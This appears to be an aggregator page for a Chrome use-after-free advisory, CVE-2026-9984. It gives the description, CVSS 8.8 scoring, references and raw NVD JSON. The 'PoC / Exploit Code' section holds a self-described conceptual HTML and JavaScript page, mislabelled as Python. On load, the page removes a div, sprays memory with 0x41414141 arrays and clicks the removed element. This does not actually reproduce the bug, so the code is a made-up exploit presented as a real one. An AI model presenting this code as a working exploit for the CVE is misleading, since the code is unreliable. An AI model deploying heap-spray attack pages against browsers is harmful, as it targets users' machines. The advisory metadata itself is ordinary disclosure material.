CVE-2026-9984

Description

Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9984 (Conceptual)
This PoC demonstrates the trigger logic for the UAF in UI.
-->
<html>
<head>
<script>
function trigger_uaf() {
    // Step 1: Create a vulnerable UI object (Simulated)
    let vuln_obj = document.createElement('div');
    document.body.appendChild(vuln_obj);

    // Step 2: Force a condition where the object is freed but reference remains
    // This specific sequence depends on the internal Chrome UI logic
    vuln_obj.remove(); // Object freed

    // Step 3: Heap grooming/Spray to occupy the freed memory
    // Using arrays to spray memory
    let spray = new Array(1000);
    for(let i=0; i<1000; i++) {
        spray[i] = new Uint32Array(0x100);
        spray[i].fill(0x41414141); // Filling memory with controlled pattern
    }

    // Step 4: Trigger the Use-After-Free
    // Accessing the dangling pointer or triggering the UI callback
    try {
        // Hypothetical call that uses the freed object
        vuln_obj.click(); 
    } catch(e) {
        console.log("Crash or exploit attempt triggered");
    }
}

window.onload = trigger_uaf;
</script>
</head>
<body>
<p>CVE-2026-9984 PoC Test Page</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9984
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9984
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9984/
[4] VulDB https://vuldb.com/cve/CVE-2026-9984
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513002543

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9984", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:56.637", "lastModified": "2026-05-29T12:16:30.470", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513002543", "source": "[email protected]"}]}}